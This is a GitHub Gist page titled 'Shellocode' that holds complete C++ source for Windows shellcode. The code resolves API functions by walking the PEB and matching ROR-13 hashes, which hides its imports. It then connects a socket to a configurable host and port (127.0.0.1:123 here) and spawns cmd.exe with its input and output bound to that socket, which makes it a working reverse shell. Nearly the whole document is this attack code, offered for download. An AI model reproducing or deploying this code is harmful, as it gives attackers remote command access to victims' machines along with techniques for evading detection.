-
-
Save thomasxm/3f5fd8d702e6f05e25783fb5d3e24fe5 to your computer and use it in GitHub Desktop.
Shellocode
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <WinSock2.h> // must preceed #include <windows.h> | |
| #include <WS2tcpip.h> | |
| #include <windows.h> | |
| #include <winnt.h> | |
| #include <winternl.h> | |
| #include <stddef.h> | |
| #include <stdio.h> | |
| #define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8)) | |
| _inline PEB *get_peb() { | |
| PEB *p; | |
| __asm { | |
| mov eax, fs:[30h] | |
| mov p, eax | |
| } | |
| return p; | |
| } | |
| #define ROR_SHIFT 13 | |
| constexpr DWORD ct_ror(DWORD n) { | |
| return (n >> ROR_SHIFT) | (n << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT)); | |
| } | |
| constexpr char ct_upper(const char c) { | |
| return (c >= 'a') ? (c - ('a' - 'A')) : c; | |
| } | |
| constexpr DWORD ct_hash(const char *str, DWORD sum = 0) { | |
| return *str ? ct_hash(str + 1, ct_ror(sum) + ct_upper(*str)) : sum; | |
| } | |
| DWORD rt_hash(const char *str) { | |
| DWORD h = 0; | |
| while (*str) { | |
| h = (h >> ROR_SHIFT) | (h << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT)); // ROR h, 13 | |
| h += *str >= 'a' ? *str - ('a' - 'A') : *str; // convert the character to uppercase | |
| str++; | |
| } | |
| return h; | |
| } | |
| LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) { | |
| int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); | |
| return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset); | |
| } | |
| // NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to | |
| // ntdll.RtlExitUserThread. The solution is to follow the forwards manually. | |
| PVOID getProcAddrByHash(DWORD hash) { | |
| PEB *peb = get_peb(); | |
| LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink; | |
| LIST_ENTRY *ptr = first; | |
| do { // for each module | |
| LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr); | |
| ptr = ptr->Flink; | |
| BYTE *baseAddress = (BYTE *)dte->DllBase; | |
| if (!baseAddress) // invalid module(???) | |
| continue; | |
| IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress; | |
| IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew); | |
| DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; | |
| if (!iedRVA) // Export Directory not present | |
| continue; | |
| IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA); | |
| char *moduleName = (char *)(baseAddress + ied->Name); | |
| DWORD moduleHash = rt_hash(moduleName); | |
| // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th | |
| // element of both arrays refer to the same function. The first array specifies the name whereas | |
| // the second the ordinal. This ordinal can then be used as an index in the array pointed to by | |
| // AddressOfFunctions to find the entry point of the function. | |
| DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames); | |
| for (DWORD i = 0; i < ied->NumberOfNames; ++i) { | |
| char *functionName = (char *)(baseAddress + nameRVAs[i]); | |
| if (hash == moduleHash + rt_hash(functionName)) { | |
| WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i]; | |
| DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal]; | |
| return baseAddress + functionRVA; | |
| } | |
| } | |
| } while (ptr != first); | |
| return NULL; // address not found | |
| } | |
| #define DEFINE_FUNC_PTR(module, function) \ | |
| constexpr DWORD hash_##function = ct_hash(module) + ct_hash(#function); \ | |
| typedef decltype(function) type_##function; \ | |
| type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function) | |
| #define DEFINE_FWD_FUNC_PTR(module, real_func, function) \ | |
| constexpr DWORD hash_##function = ct_hash(module) + ct_hash(real_func); \ | |
| typedef decltype(function) type_##function; \ | |
| type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function) | |
| int main() { | |
| // NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but | |
| // they're not strictly needed. | |
| BYTE b0[] = {'w','s','2','_','3','2','.','d','l','l',0}; | |
| BYTE b1[] = {'1','2','7','.','0','.','0','.','1',0}; | |
| //long string for example | |
| BYTE b2[] = {'C',':','\\','W','i','n','d','o','w','s','\\','S','y','s','t','e','m','3','2','\\','c','m','d','.','e','x','e',0}; | |
| char *sock_lib = (char *)&b0[0]; | |
| char *r_name = (char *)&b1[0]; | |
| int r_port = 123; | |
| char *cmd = (char *)&b2[0]; | |
| DEFINE_FUNC_PTR("kernel32.dll", LoadLibraryA); | |
| LoadLibraryA(sock_lib); | |
| DEFINE_FUNC_PTR("ws2_32.dll", WSAStartup); | |
| DEFINE_FUNC_PTR("ws2_32.dll", WSASocketA); | |
| DEFINE_FUNC_PTR("ws2_32.dll", WSAConnect); | |
| DEFINE_FUNC_PTR("kernel32.dll", CreateProcessA); | |
| DEFINE_FUNC_PTR("ws2_32.dll", inet_addr); | |
| DEFINE_FUNC_PTR("ws2_32.dll", getaddrinfo); | |
| DEFINE_FUNC_PTR("ws2_32.dll", getnameinfo); | |
| DEFINE_FWD_FUNC_PTR("ntdll.dll", "RtlExitUserThread", ExitThread); | |
| DEFINE_FUNC_PTR("kernel32.dll", WaitForSingleObject); | |
| WSADATA wsaData; | |
| if (WSAStartup(MAKEWORD(2, 2), &wsaData)) | |
| goto __end; // error | |
| SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
| if (sock == INVALID_SOCKET) | |
| goto __end; | |
| addrinfo *result; | |
| if (getaddrinfo(r_name, NULL, NULL, &result)) | |
| goto __end; | |
| char ip_addr[16]; | |
| getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST); | |
| SOCKADDR_IN remoteAddr; | |
| remoteAddr.sin_family = AF_INET; | |
| remoteAddr.sin_port = htons(r_port); | |
| remoteAddr.sin_addr.s_addr = inet_addr(ip_addr); | |
| if (WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL)) | |
| goto __end; | |
| STARTUPINFOA sInfo; | |
| PROCESS_INFORMATION procInfo; | |
| SecureZeroMemory(&sInfo, sizeof(sInfo)); // avoids a call to _memset | |
| sInfo.cb = sizeof(sInfo); | |
| sInfo.dwFlags = STARTF_USESTDHANDLES; | |
| sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock; | |
| CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo); | |
| // Waits for the process to finish. | |
| WaitForSingleObject(procInfo.hProcess, INFINITE); | |
| __end: | |
| ExitThread(0); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment